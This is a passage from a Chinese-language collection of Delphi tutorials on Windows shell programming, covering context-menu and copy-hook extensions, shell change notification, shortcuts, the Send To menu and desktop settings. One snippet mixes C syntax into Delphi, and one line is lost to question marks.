frmOP:=TForm1.Create(nil);
file://将所有的文件列表添加到文件操作窗口的列表中
frmOP.ListBox1.Items := FileList;
Result := NOERROR;

   end;

function TContextMenu.GetCommandString(idCmd, uType: UINT;
   pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HRESULT;
begin

if (idCmd = 0) then begin
if (uType = GCS_HELPTEXT) then
{返回该菜单项的帮助信息，此帮助信息将在用户把鼠标
移动到该菜单项时出现在状态条上。}
StrCopy(pszName, PChar('点击该菜单项将执行文件操作'));
Result := NOERROR;

end
else

Result := E_INVALIDARG;
end;

type

TContextMenuFactory = class(TComObjectFactory)
public

procedure UpdateRegistry(Register: Boolean); override;
end;

procedure TContextMenuFactory.UpdateRegistry(Register: Boolean);
var

ClassID: string;
begin

if Register then begin
inherited UpdateRegistry(Register);
ClassID := GUIDToString(Class_ContextMenu);
file://当注册扩展库文件时，添加库到注册表中
CreateRegKey('*\shellex', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers\FileOpreation', '', ClassID);

file://如果操作系统为Windows NT的话
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
with TRegistry.Create do
try

     RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell
   Extensions', True);
OpenKey('Approved', True);
WriteString(ClassID, 'Context Menu Shell Extension');
finally

Free;
end;

end
else begin

DeleteRegKey('*\shellex\ContextMenuHandlers\FileOpreation');
inherited UpdateRegistry(Register);
end;

end;

initialization

TContextMenuFactory.Create(ComServer, TContextMenu, Class_ContextMenu,
'', 'Context Menu Shell Extension', ciMultiInstance,tmApartment);

end.

在OpWindow窗口中加入一个TListBox控件和两个TButton控件，OpWindows.pas的程序清单如下：
unit opwindow;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls,shlobj,shellapi,ActiveX;

type

TForm1 = class(TForm)
ListBox1: TListBox;

Button1: TButton;
Button2: TButton;

procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private

{ Private declarations }
public

FileList:TStringList;
{ Public declarations }
end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin

FileList:=TStringList.Create;
Button1.Caption :='复制文件';
Button2.Caption :='移动文件';
Self.Show;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin

FileList.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var

sPath:string;
fsTemp:SHFILEOPSTRUCT;
i:integer;

begin
sPath:=InputBox('文件操作','输入复制路径','c:\windows');
if sPath<>''then begin
fsTemp.Wnd := Self.Handle;
file://设置文件操作类型
fsTemp.wFunc :=FO_COPY;
file://允许执行撤消操作
fsTemp.fFlags :=FOF_ALLOWUNDO;
for i:=0 to ListBox1.Items.Count-1 do begin
file://源文件全路径名
fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
file://要复制到的路径
fsTemp.pTo := PChar(sPath);
fsTemp.lpszProgressTitle:='拷贝文件';
if SHFileOperation(fsTemp)<>0 then
ShowMessage('文件复制失败');
end;

end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var

sPath:string;
fsTemp:SHFILEOPSTRUCT;
i:integer;

begin
sPath:=InputBox('文件操作','输入移动路径','c:\windows');
if sPath<>''then begin
fsTemp.Wnd := Self.Handle;
fsTemp.wFunc :=FO_MOVE;
fsTemp.fFlags :=FOF_ALLOWUNDO;
for i:=0 to ListBox1.Items.Count-1 do begin
fsTemp.pFrom := PChar(ListBox1.Items.Strings[i]);
fsTemp.pTo := PChar(sPath);
fsTemp.lpszProgressTitle:='移动文件';
if SHFileOperation(fsTemp)<>0 then
ShowMessage('文件复制失败');
end;

end;
end;

end.

点击菜单的 Project | Build ContextMenu 项，Delphi就会建立Contextmenu.dll文件，这个就是上下文相关菜单程序了。
使用，Regsvr32.exe 注册程序，然后在Windows的Explore 中在任意的一个或者几个文件中点击鼠标右键，在上下文菜单中就会
多一个文件操作的菜单项，点击该项，在弹出窗口的列表中会列出你所选择的所有文件的文件名，你可以选择拷贝文件按钮或者
移动文件按钮执行文件操作。


利用Windows外壳扩展保护文件夹

利用Windows外壳扩展保护文件夹

在Win32操作系统（包括Win9X、Windows NT、Windows 2000）不但有方便的图形用户（GUI）界面，微软还为windows用户界面保留了强大的可扩充性。其中对于Windows界面的操作环境（这里称为外壳Shell），微软提供了一种称为外壳扩展（Shell Extensions）的功能来实现文件系统操作的可编程性。如果你的机器中安装了Word 7.0以上的版本，当你鼠标右键单击一个DOC文件，在弹出菜单中选“属性”项，在属性页中不仅显示显示文件的大小、建立日期等信息，同时还增加了Doc文档的摘要、统计等信息；又例如安装了winZip 6.0以上版本后，当选中一个或多个文件或文件夹后在单击鼠标右键，在弹出的右键菜单中就增加了“Add To Zip”等一个zip文件压缩选项。上面的这些功能都是通过Windows外壳扩展来实现的。

Windows外壳扩展是这样实现的。首先要编写外壳扩展程序，一个外壳扩展程序是基于COM(Component Object Model)组件模型的。外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。

写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键之下进行注册。在该键下面可以找到许多名字像{ACDE002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识符。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。

Windows系统支持以下7类的外壳扩展功能：

(1)Context menu handlers向特定类型的文件对象增添上下文相关菜单；

(2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；

(3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；

(4)Property sheet handlers给文件对象增添属性页，属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；

(5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows增加Copy-hook handlers，可以允许或者禁止其中的某些操作；

(6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；

(7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

本文介绍的文件夹保护功能就是通过上面的第5类，既Copy-hook handlers来实现的。一个支持Copy-hook handlers的程序除了上面提到的要在注册表的HKEY_CLASSES_ROOT\CLSID下注册之外，还需要在HKEY_CLASSES_ROOT\Directory\shellex\CopyHookHandlers\下注册服务器程序的类。

由于Windows外壳服务器程序是基于COM组件模型的，所以编写外壳程序就是构造一个COM对象的过程，由于Delphi4.0以上的版本支持Windows外壳扩展和COM组件模型，所以可以利用Delphi来编写外壳扩展程序。

利用Delphi编写Copy-hook handle需要实现ICopyHook接口。ICopyHook是一个十分简单的接口，要实现的只有CopyCallBack方法。ICopyHook的CopyCallBack方法的定义如下：

UINT CopyCallback(

HWND hwnd, file://Handle of the parent window for displaying UI objects

UINT wFunc, file://Operation to perform.

UINT wFlags, file://Flags that control the operation

LPCSTR pszSrcFile, file://Pointer to the source file

DWORD dwSrcAttribs, file://Source file attributes

LPCSTR pszDestFile, file://Pointer to the destination file

DWORD dwDestAttribs file://Destination file attributes

);

其中的参数hwnd是一个窗口句柄，Copy-hook handle以此为父窗口。参数wFunc指定要被执行的操作，其取值为下表中所列之一：

常量 取值 含义

FO_COPY $2 复制由pszSrcFile指定的文件到由pszDestFile指定的位置。

FO_DELETE $3 删除由pszSrcFile指定的文件。

FO_MOVE $1 移动由pszSrcFile指定的文件到由pszDestFile指定的位置。

FO_RENAME $4 重命名由pszSrcFile指定的文件到由pszDestFile指定的文件名。

PO_DELETE $13 删除pszSrcFile指定的打印机。

PO_PORTCHANGE $20 改变打印机端口。PszSrcFile和pszDestFile为两个以Null结尾的字符串，分别指定当前和新的打印机端口名。

PO_RENAME $14 重命名由pszSrcFile指定的打印机端口。

PO_REN_PORT $34 PO_RENAME和PO_PORTCHANGE的组合。

参数wFlags指定操作的标志；参数pszSrcFile和pszDestFile指定源文件夹和目标文件夹。参数dwSrcAttribs和dwDesAttribs指定源文件夹和目标文件夹的属性。函数返回值可以为IDYES、IDNO和IDCANCEL。分别指示Windows外壳允许操作、阻止操作，但是其他操作继续、阻止当前操作，取消为执行的操作。

下面是具体的程序实现：

首先在Delphi的菜单中选 File|New选项，选择其中的DLL图标，按Ok键建立一个DLL工程文件，在其中添加以下代码：

library CopyHook;

uses

ComServ,

CopyMain in 'CopyMain.pas';

exports

DllGetClassObject,

DllCanUnloadNow,

DllRegisterServer,

DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

将文件保存为 CopyHook.dpr。再在Delphi菜单中选File|New选项，选择其中的Unit图标，按Ok键建立一个Pas文件，在其中加入以下代码：

unit CopyMain;

interface

uses Windows, ComObj, ShlObj;

type

TCopyHook = class(TComObject, ICopyHook)

protected

function CopyCallback(Wnd: HWND; wFunc, wFlags: UINT; pszSrcFile: PAnsiChar;

dwSrcAttribs: DWORD; pszDestFile: PAnsiChar; dwDestAttribs: DWORD): UINT; stdcall;

end;

TCopyHookFactory = class(TComObjectFactory)

protected

function GetProgID: string; override;

procedure ApproveShellExtension(Register: Boolean; const ClsID: string);

virtual;

public

procedure UpdateRegistry(Register: Boolean); override;

end;

implementation

uses ComServ, SysUtils, Registry;

{ TCopyHook }

file://当Windows外壳程序执行文件夹或者打印机端口操作时，CopyCallBack

file://方法就会被调用。

function TCopyHook.CopyCallback(Wnd: HWND; wFunc, wFlags: UINT;

pszSrcFile: PAnsiChar; dwSrcAttribs: DWORD; pszDestFile: PAnsiChar;

dwDestAttribs: DWORD): UINT;

const

FO_COPY = 2;

FO_DELETE = 3;

FO_MOVE = 1;

FO_RENAME = 4;

var

sOp:string;

begin

Case wFunc of

FO_COPY: sOp:=format('你确定要将 %s 拷贝到 %s 吗？',[pszSrcFile,pszDestFile]);

FO_DELETE: sOp:=format('你确定要将 %s 删除吗？',[pszSrcFile]);

FO_MOVE: sOp:=format('你确定要将 %s 转移到 %s 吗？',[pszSrcFile,pszDestFile]);

FO_RENAME: sOp:=format('你确定要将 %s 重命名为 %s 吗？',[pszSrcFile,pszDestFile]);

else

sOp:=format('无法识别的操作代码 %d',[wFlags]);

end;

// 提示，让用户决定是否执行操作

Result := MessageBox(Wnd, PChar(sOp),

'文件挂钩演示', MB_YESNOCANCEL);

end;

{ TCopyHookFactory }

function TCopyHookFactory.GetProgID: string;

begin

Result := '';

end;

procedure TCopyHookFactory.UpdateRegistry(Register: Boolean);

var

ClsID: string;

begin

ClsID := GUIDToString(ClassID);

inherited UpdateRegistry(Register);

ApproveShellExtension(Register, ClsID);

if Register then

file://将clsid 加入到注册表的CopyHookHandlers中

CreateRegKey('directory\shellex\CopyHookHandlers\' + ClassName, '',

ClsID)

else

DeleteRegKey('directory\shellex\CopyHookHandlers\' + ClassName);

end;

procedure TCopyHookFactory.ApproveShellExtension(Register: Boolean;

const ClsID: string);

const

SApproveKey = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved';

begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

if not OpenKey(SApproveKey, True) then Exit;

if Register then WriteString(ClsID, Description)

else DeleteValue(ClsID);

finally

Free;

end;

end;

const

CLSID_CopyHook: TGUID = '{66CD5F60-A044-11D0-A9BF-00A024E3867F}';

LIBID_CopyHook: TGUID = '{D2F531A0-0861-11D2-AE5C-74640BC10000}';

initialization

TCopyHookFactory.Create(ComServer, TCopyHook, CLSID_CopyHook,

'CR_CopyHook', '文件操作挂钩演示',ciMultiInstance, tmApartment);

end.

将文件保存为CopyMain.Pas文件，然后编译程序为CopyHook.Dll文件，然后注册CopyHook.Dll文件，你可以使用Windows提供的RegSvr32.exe来注册，注册的方法是在Dos窗口中进入Windows的System子目录，然后在其中输入Regsvr32 x:\xxx\xxx\copyhook.dll ，其中x:\xxx\xxx\是编译的CopyHook.dll所在的全路径名。也可以在Run菜单中选择Register ActiveX Server来注册。

当文件注册成功之后，在Windows的Explore中任意改变一个文件夹的名字或者移动一个目录，就会有一个提示框弹出，提示用户是否确定执行操作。如图所示：

按“是”将执行文件夹操作，按“否”或者“取消”将取消相应的文件夹操作。

上面介绍的只是Delphi实现Windows外壳扩展的一种，参照上面的程序和Delphi关于Windows的COM组件模型的编程，就可以编写出十分专业化的Windows外壳扩展程序。


利用未公开函数实现Shell操作监视

作者 : TechnoFantasy

利用未公开函数实现Shell操作监视 wwwa.applevb.com

在Windows下有一个未公开函数SHChangeNotifyRegister可以吧你的窗口添加到系统的系统消息监视链中，该函数在Delphi

中的定义如下：

Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;

lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;

其中参数hWnd定义了监视系统操作的窗口得句柄，参数uFlags dwEventID定义监视操作参数，参数uMsg定义操作消息，参数cItems

定义附加参数，参数lpps指定一个PIDLSTRUCT结构，该结构指定监视的目录。

当函数调用成功之后，函数会返回一个监视操作句柄，同时系统就会将hWnd指定的窗口加入到操作监视链中，当有文件操作发生时，系统会向hWnd发送uMsg指定的消息，我们只要在程序中加入该消息的处理函数就可以实现对系统操作的监视了。

如果要退出程序监视，就要调用另外一个未公开得函数SHChangeNotifyDeregister来取消程序监视。

下面是使用Delphi编写的具体程序实现范例，首先建立一个新的工程文件，然后在Form1中加入一个Button控件和一个Memo控件，

程序的代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,shlobj,Activex;

const

SHCNE_RENAMEITEM = $1;

SHCNE_CREATE = $2;

SHCNE_DELETE = $4;

SHCNE_MKDIR = $8;

SHCNE_RMDIR = $10;

SHCNE_MEDIAINSERTED = $20;

SHCNE_MEDIAREMOVED = $40;

SHCNE_DRIVEREMOVED = $80;

SHCNE_DRIVEADD = $100;

SHCNE_NETSHARE = $200;

SHCNE_NETUNSHARE = $400;

SHCNE_ATTRIBUTES = $800;

SHCNE_UPDATEDIR = $1000;

SHCNE_UPDATEITEM = $2000;

SHCNE_SERVERDISCONNECT = $4000;

SHCNE_UPDATEIMAGE = $8000;

SHCNE_DRIVEADDGUI = $10000;

SHCNE_RENAMEFOLDER = $20000;

SHCNE_FREESPACE = $40000;

SHCNE_ASSOCCHANGED = $8000000;

SHCNE_DISKEVENTS = $2381F;

SHCNE_GLOBALEVENTS = $C0581E0;

SHCNE_ALLEVENTS = $7FFFFFFF;

SHCNE_INTERRUPT = $80000000;

SHCNF_IDLIST = 0; // LPITEMIDLIST

SHCNF_PATHA = $1; // path name

SHCNF_PRINTERA = $2; // printer friendly name

SHCNF_DWORD = $3; // DWORD

SHCNF_PATHW = $5; // path name

SHCNF_PRINTERW = $6; // printer friendly name

SHCNF_TYPE = $FF;

SHCNF_FLUSH = $1000;

SHCNF_FLUSHNOWAIT = $2000;

SHCNF_PATH = SHCNF_PATHW;

SHCNF_PRINTER = SHCNF_PRINTERW;

WM_SHNOTIFY = $401;

NOERROR = 0;

type

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure WMShellReg(var Message:TMessage);message WM_SHNOTIFY;

public

{ Public declarations }

end;

type PSHNOTIFYSTRUCT=^SHNOTIFYSTRUCT;

SHNOTIFYSTRUCT = record

dwItem1 : PItemIDList;

dwItem2 : PItemIDList;

end;

Type PSHFileInfoByte=^SHFileInfoByte;

_SHFileInfoByte = record

hIcon :Integer;

iIcon :Integer;

dwAttributes : Integer;

szDisplayName : array [0..259] of char;

szTypeName : array [0..79] of char;

end;

SHFileInfoByte=_SHFileInfoByte;

Type PIDLSTRUCT = ^IDLSTRUCT;

_IDLSTRUCT = record

pidl : PItemIDList;

bWatchSubFolders : Integer;

end;

IDLSTRUCT =_IDLSTRUCT;

function SHNotify_Register(hWnd : Integer) : Bool;

function SHNotify_UnRegister:Bool;

function SHEventName(strPath1,strPath2:string;lParam:Integer):string;

Function SHChangeNotifyDeregister(hNotify:integer):integer;stdcall;

external 'Shell32.dll' index 4;

Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;

lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;

Function SHGetFileInfoPidl(pidl : PItemIDList;

dwFileAttributes : Integer;

psfib : PSHFILEINFOBYTE;

cbFileInfo : Integer;

uFlags : Integer):Integer;stdcall;

external 'Shell32.dll' name 'SHGetFileInfoA';

var

Form1: TForm1;

m_hSHNotify:Integer;

m_pidlDesktop : PItemIDList;

implementation

{$R *.DFM}

function SHEventName(strPath1,strPath2:string;lParam:Integer):string;

var

sEvent:String;

begin

case lParam of file://根据参数设置提示消息

SHCNE_RENAMEITEM: sEvent := '重命名文件'+strPath1+'为'+strpath2;

SHCNE_CREATE: sEvent := '建立文件 文件名：'+strPath1;

SHCNE_DELETE: sEvent := '删除文件 文件名：'+strPath1;

SHCNE_MKDIR: sEvent := '新建目录 目录名：'+strPath1;

SHCNE_RMDIR: sEvent := '删除目录 目录名：'+strPath1;

SHCNE_MEDIAINSERTED: sEvent := strPath1+'中插入可移动存储介质';

SHCNE_MEDIAREMOVED: sEvent := strPath1+'中移去可移动存储介质'+strPath1+' '+strpath2;

SHCNE_DRIVEREMOVED: sEvent := '移去驱动器'+strPath1;

SHCNE_DRIVEADD: sEvent := '添加驱动器'+strPath1;

SHCNE_NETSHARE: sEvent := '改变目录'+strPath1+'的共享属性';

SHCNE_ATTRIBUTES: sEvent := '改变文件目录属性 文件名'+strPath1;

SHCNE_UPDATEDIR: sEvent := '更新目录'+strPath1;

SHCNE_UPDATEITEM: sEvent := '更新文件 文件名：'+strPath1;

SHCNE_SERVERDISCONNECT: sEvent := '断开与服务器的连接'+strPath1+' '+strpath2;

SHCNE_UPDATEIMAGE: sEvent := 'SHCNE_UPDATEIMAGE';

SHCNE_DRIVEADDGUI: sEvent := 'SHCNE_DRIVEADDGUI';

SHCNE_RENAMEFOLDER: sEvent := '重命名文件夹'+strPath1+'为'+strpath2;

SHCNE_FREESPACE: sEvent := '磁盘空间大小改变';

SHCNE_ASSOCCHANGED: sEvent := '改变文件关联';

else

sEvent:='未知操作'+IntToStr(lParam);

end;

Result:=sEvent;

end;

function SHNotify_Register(hWnd : Integer) : Bool;

var

ps:PIDLSTRUCT;

begin

{$R-}

Result:=False;

If m_hSHNotify = 0 then begin

file://获取桌面文件夹的Pidl

if SHGetSpecialFolderLocation(0, CSIDL_DESKTOP,

m_pidlDesktop)<> NOERROR then

Form1.close;

if Boolean(m_pidlDesktop) then begin

ps.bWatchSubFolders := 1;

ps.pidl := m_pidlDesktop;

// 利用SHChangeNotifyRegister函数注册系统消息处理

m_hSHNotify := SHChangeNotifyRegister(hWnd, (SHCNF_TYPE Or SHCNF_IDLIST),

(SHCNE_ALLEVENTS Or SHCNE_INTERRUPT),

WM_SHNOTIFY, 1, ps);

Result := Boolean(m_hSHNotify);

end

Else

// 如果出现错误就使用 CoTaskMemFree函数来释放句柄

CoTaskMemFree(m_pidlDesktop);

End;

{$R+}

end;

function SHNotify_UnRegister:Bool;

begin

Result:=False;

If Boolean(m_hSHNotify) Then

file://取消系统消息监视，同时释放桌面的Pidl

If Boolean(SHChangeNotifyDeregister(m_hSHNotify)) Then begin

{$R-}

m_hSHNotify := 0;

CoTaskMemFree(m_pidlDesktop);

Result := True;

{$R-}

End;

end;

procedure TForm1.WMShellReg(var Message:TMessage); file://系统消息处理函数

var

strPath1,strPath2:String;

charPath:array[0..259]of char;

pidlItem:PSHNOTIFYSTRUCT;

begin

pidlItem:=PSHNOTIFYSTRUCT(Message.wParam);

file://获得系统消息相关得路径

SHGetPathFromIDList(pidlItem.dwItem1,charPath);

strPath1:=charPath;

SHGetPathFromIDList(pidlItem.dwItem2,charPath);

strPath2:=charPath;

Memo1.Lines.Add(SHEvEntName(strPath1,strPath2,Message.lParam)+chr(13)+chr(10));

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

file://在程序退出的同时删除监视

if Boolean(m_pidlDesktop) then

SHNotify_Unregister;

end;

procedure TForm1.Button1Click(Sender: TObject); file://Button1的Click消息

begin

m_hSHNotify:=0;

if SHNotify_Register(Form1.Handle) then begin file://注册Shell监视

ShowMessage('Shell监视程序成功注册');

Button1.Enabled := False;

end

else

ShowMessage('Shell监视程序注册失败');

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Button1.Caption := '打开监视';

end;

end.

运行程序，点击“打开监视”按钮，如果出现一个显示“Shell监视程序成功注册”的对话框，说明Form1已经加入到系统操作监视链中了，你可以试着在资源管理器中建立、删除文件夹，移动文件等操作，你可以发现这些操作都被纪录下来并显示在文本框中。

在上面的程序中多次使用到了一个PItemIDList的结构，这个数据结构指定Windows下得一个“项目”，在Windows下资源实现统一管理一个“项目”可以是一个文件或者一个文件夹，也可以是一个打印机等资源。另外一些API函数也涉及到了Shell(Windows外壳)操作，各位读者可以参考相应的参考资料。


获得快捷方式指向的目标

function GetShortcutTarget(ShortcutFilename:string):string;

var

Psl:IShellLink;

Ppf:IPersistFile;

WideName:Array [0..MAX_PATH] of WideChar;

pResult:Array [0..MAX_PATH-1] Of Char;

Data:TWin32FindData;

const

IID_IPersistFile: TGUID = (

D1:$0000010B; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

begin

CoCreateInstance(CLSID_ShellLink,nil,CLSCTX_INPROC_SERVER, IID_IShellLinkA ,psl);

psl.QueryInterface(IID_IPersistFile,ppf);

MultiByteToWideChar(CP_ACP, 0, pChar(ShortcutFilename), -1, WideName, Max_Path);

ppf.Load(WideName,STGM_READ);

psl.Resolve(0,SLR_ANY_MATCH);

psl.GetPath( @pResult,MAX_PATH,Data,SLGP_UNCPRIORITY);

Result:=StrPas(@pResult);

end;

/// 用法\\\

form1.caption:=GetShortcutTarget('c:\windows\profiles\user1\desktop\visitme.pif');


实现发送到菜单

unit uSendTo;
interface
uses
SysUtils, Windows, Messages, Classes, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls, FileCtrl,
ShellAPI, ShlObj, ActiveX, ComObj ;

type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
FileListBox1: TFileListBox;
procedure FormCreate(Sender: TObject);
private
procedure SendToItemClick(Sender: TObject); // MenuItem event-handler
public
{ Public declarations }
end;

type TMyMenuItem=class(TMenuItem)
public Verb:String;
end;

var
Form1: TForm1;
implementation
{$R *.DFM}
// a pipe-delimited list of file extensions that are normally hidden...
const HiddenExtensions = '.LNK|.DESKLINK|.MYDOCS|.MAPIMAIL';
//获得Sendto文件夹
function GetSendToFolder:string;
var
pIDL :pItemIDList;
Buffer: array[0..MAX_PATH]of char;
Malloc: IMalloc;
begin
SHGetSpecialFolderLocation(0, CSIDL_SENDTO, pIDL);
ShGetPathFromIdList(pIDL, PChar(@Buffer));
Result:= Buffer;
OLECheck(SHGetMalloc(Malloc));
if pIDL <> nil then Malloc.Free(pIDL);
end;
//递归查找全部Sendto文件夹中的项目
//如果有下级目录，就创建子菜单
procedure CreateMenuItems(Path:string; aMenuItem:TMenuItem);
var
SR:TSearchRec;
MI:TMyMenuItem;
procedure AddIf;
begin
if SR.Attr and faDirectory<=0 then begin // if it's a file
MI := TMyMenuItem.Create(Form1);
if pos(UpperCase(ExtractFileExt(SR.Name)), HiddenExtensions)>0 then
MI.Caption :=ChangeFileExt(SR.Name,'') else MI.Caption :=SR.Name;
MI.Verb:=Path+SR.Name;
MI.OnClick:=Form1.SendToItemClick; //Assign event handler
aMenuItem.Add(MI)
end else if SR.Name[1]<>'.' then begin // if it's a folder
MI := TMyMenuItem.Create(Form1);
MI.Caption := SR.Name;
aMenuItem.Add(MI);
CreateMenuItems(Path+SR.Name, MI); // Recursive call
end;
end;
begin
if Path[Length(Path)]<>'\' then Path:=Path+'\';
if FindFirst(Path+'*',faAnyFile,SR)=0 then begin
AddIf;
while FindNext(SR)=0 do AddIf;
end;
end;
// Find the EXE that the shortcut points to -
// Adapted from Elliott Shevin's TShortcutLink component
// (this could be modified to get the icon, ShowState, etc... )
function GetShortcutTarget(ShortcutFilename:string):string;
var
Psl:IShellLink;
Ppf:IPersistFile;
WideName:Array [0..MAX_PATH] of WideChar;
pResult:Array [0..MAX_PATH-1] Of Char;
Data:TWin32FindData;
const
IID_IPersistFile: TGUID = (
D1:$0000010B; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));
begin
CoCreateInstance(CLSID_ShellLink,nil,CLSCTX_INPROC_SERVER, IID_IShellLinkA ,psl);
psl.QueryInterface(IID_IPersistFile,ppf);
MultiByteToWideChar(CP_ACP, 0, pChar(ShortcutFilename), -1, WideName, Max_Path);
ppf.Load(WideName,STGM_READ);
psl.Resolve(0,SLR_ANY_MATCH);
psl.GetPath( @pResult,MAX_PATH,Data,SLGP_UNCPRIORITY);
Result:=StrPas(@pResult);
end;

procedure TForm1.SendToItemClick(Sender: TObject);
begin
// Just shows the filename - you could use ShellExecute or CreateProcess instead
// But need some special handling for MyDocuments, Desktop and MailRecipient
ShowMessage(GetShortcutTarget(TMyMenuItem(Sender).Verb));
end;


重起外壳

hwndShell = FindWindow('Progman', nil);

PostMessage(hwndShell, WM_QUIT, 0, 0);

WinExec('Explorer.exe',SW_SHOW);


调用文件属性对话框

var
  sei:TSHELLEXECUTEINFO;
begin
   ZeroMemory(sei,sizeof(sei));
   sei.cbSize = sizeof(sei);
   sei.lpFile = FileName;
   sei.lpVerb = "properties";
   sei.fMask  = SEE_MASK_INVOKEIDLIST;
   ShellExecuteEx(sei);
end;
SEE_MASK_INVOKEIDLIST 掩码使ShellExecuteEx 能够调用由右键菜单扩展
动态添加的菜单项和由注册表注册的静态菜单项


建立快捷方式

//在桌面上建立快捷方式
procedure TForm1.Button1Click(Sender: TObject);
var
tmpObject : IUnknown;
tmpSLink : IShellLink;
tmpPFile : IPersistFile;
PIDL : PItemIDList;
StartupDirectory : array[0..MAX_PATH] of Char;
StartupFilename : String;
LinkFilename : WideString;
begin
StartupFilename := 'c:\windows\notepad.exe';
tmpObject := CreateComObject(CLSID_ShellLink);//创建建立快捷方式的外壳扩展
tmpSLink := tmpObject as IShellLink;//取得接口
tmpPFile := tmpObject as IPersistFile;//用来储存*.lnk文件的接口
tmpSLink.SetPath(pChar(StartupFilename));//设定notepad.exe所在路径
tmpSLink.SetWorkingDirectory(pChar(ExtractFilePath(StartupFilename)));//设定工作目录
SHGetSpecialFolderLocation(0,
CSIDL_DESKTOPDIRECTORY,
PIDL);//获得桌面的Itemidlist
SHGetPathFromIDList(PIDL,
StartupDirectory);//获得桌面路径
LinkFilename := StartupDirectory + '\MyNotepad.lnk';
tmpPFile.Save(pWChar(LinkFilename),FALSE);//保存*.lnk文件
end;


设置桌面

作者：hubdog

获得墙纸
procedure TForm1.Button1Click(Sender: TObject);
var
ADeskTop:IActiveDesktop;
wallpaper:PwideChar;
begin
ADeskTop:=CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;
GetMem(wallpaper,128);
ADeskTop.GetWallpaper(wallpaper,128,0);
ShowMessage(string(wallpaper));
FreeMem(wallpaper);
end;
设置墙纸
procedure TForm1.Button1Click(Sender:
TObject);
var
ADeskTop:IActiveDesktop;
wallpaper:PwideChar;
begin
ADeskTop:=CreateComObject(CLSID_ActiveDesktop) as IActiveDesktop;
wallpaper:='d:\2.bmp';
ADeskTop.SetWallpaper(wallpaper,0);
ADeskTop.ApplyChanges(AD_APPLY_ALL);
end;
获得桌面主题数
procedure
TForm1.Button1Click(Sender: TObject);
var
adesktop:IActiveDesktop;
Count:integer;
begin
adesktop:=createcomobject(clsid_activedesktop) as IActivedesktop;
adesktop.GetDesktopItemCount(Count,0);
ShowMessage(IntToStr(Count));
end;
???????????????????????????
adesktop:=createcomobject(clsid_activedesktop) as IActivedesktop;
Acomponent.dwsize:=SizeOf(TShcomponent);
OleCheck(adesktop.GetDesktopItem(1,acomponent,0));


在开始菜单的文挡中加入自己的文挡

 procedure TForm1.Button1Click(Sender: TObject);
var
s : string;
begin
s := 'C:\DownLoad\ntkfaq.html';
SHAddToRecentDocs(SHARD_PATH, pChar(s));
end;


实现OLE剪贴板

使用Visual C++实现OLE剪贴板

---- 一、概述

---- 在Windows操作系统中存在两种剪贴板机制：Windows标准剪贴板和OLE剪贴板机制。

---- 标准的Windows剪贴板是一个被所有Windows应用程序共享的系统服务，因此它并没有自己的句柄或类。但你可以通过CWnd类的成员函数来管理剪贴板。

---- 自从OLE（Object Linking and Embedding，对象链接和嵌入）诞生之后，Windows操作系统中便出现了第二种剪贴板机制——OLE剪贴板机制。标准的Windows剪贴板API（Application Programming Interface，应用程序编程接口）依然可用，但是他已经被OLE数据传输机制来实现了。OLE支持UDT（Uniform Data Transfer，统一数据传输），并可以通过拖放操作实现剪贴板的剪切、复制和粘贴等操作。OLE剪贴板除了拥有标准Windows剪贴板的性能外，还支持传输用户自定义的剪贴板格式，并能够在传输数据时绑定OLE格式（如字体、字号等）。OLE剪贴板机制将成为更为主要的数据传输机制。

---- 本文将简要叙述标准Windows剪贴板的实现，并将重点放在讨论如何通过Visual C++实现OLE剪贴板上。

---- 二、选择适当的剪贴板机制

